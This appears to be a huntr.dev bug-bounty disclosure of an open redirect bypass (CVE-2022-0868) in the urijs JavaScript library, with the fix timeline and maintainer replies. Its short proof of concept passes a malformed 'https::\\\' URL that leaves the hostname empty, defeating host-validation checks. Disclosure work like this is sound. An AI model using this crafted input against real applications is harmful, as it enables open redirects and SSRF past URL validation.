Open Redirect in medialize/uri.js

0

✓ Valid Reported on Mar 1st 2022

Description

bypass https://huntr.dev/bounties/f53d5c42-c108-40b8-917d-9dad51535083/ urijs fix CVE-2022-0613 , however attacker can bypass to exploit this issue

Proof of Concept

```
// PoC.js
var URI = require('urijs');
var url = new URI("https::\\\github.com/foo/bar");
console.log(url);

output:
URI {
  _string: '',
  _parts: {
    protocol: 'https',
    username: null,
    password: null,
    hostname: null,
    urn: null,
    port: null,
    path: '/github.com/foo/bar',
    query: null,
    fragment: null,
    preventInvalidHostname: false,
    duplicateQueryParameters: false,
    escapeQuerySpace: true
  },
  _deferred_build: true
}
```

Impact

Bypass host-validation checks, open redirect, SSRF etc. - depends on the usage of urijs

CVE
CVE-2022-0868
(Published)

Vulnerability Type
CWE-601: Open Redirect

Severity
High (8)

Visibility
Public

Status
Fixed

Found by

huydoppa
@huydoppa
unranked

This report was seen 797 times.

We are processing your report and will contact the **medialize/uri.js** team within 24 hours.
9 months ago

huydoppa modified the report 9 months ago

We have contacted a member of the **medialize/uri.js** team and are waiting to hear back
9 months ago

huydoppa modified the report 9 months ago

huydoppa 9 months ago

check plz

Chat with us

We have sent a follow up to the **medialize/uri.js** team. We will try again in 7 days. 9 months ago

Rodney Rehm validated this vulnerability 9 months ago

huydoppa has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

Rodney Rehm 9 months ago Maintainer

thanks for pointing this out! I've released a new version that deals with excessive colons: https://github.com/medialize/URI.js/releases/tag/v1.19.10

Rodney Rehm marked this as fixed in **1.19.10** with commit **a8166f** 9 months ago

The fix bounty has been dropped ✗

This vulnerability will not receive a CVE ✗

huydoppa 9 months ago Researcher

https://huntr.dev/bounties/82ef23b8-7025-49c9-b5fc-1bb9885788e5/

huydoppa 9 months ago Researcher

Why this cve has 5 number and me only 4

Sign in to join this conversation

Chat with us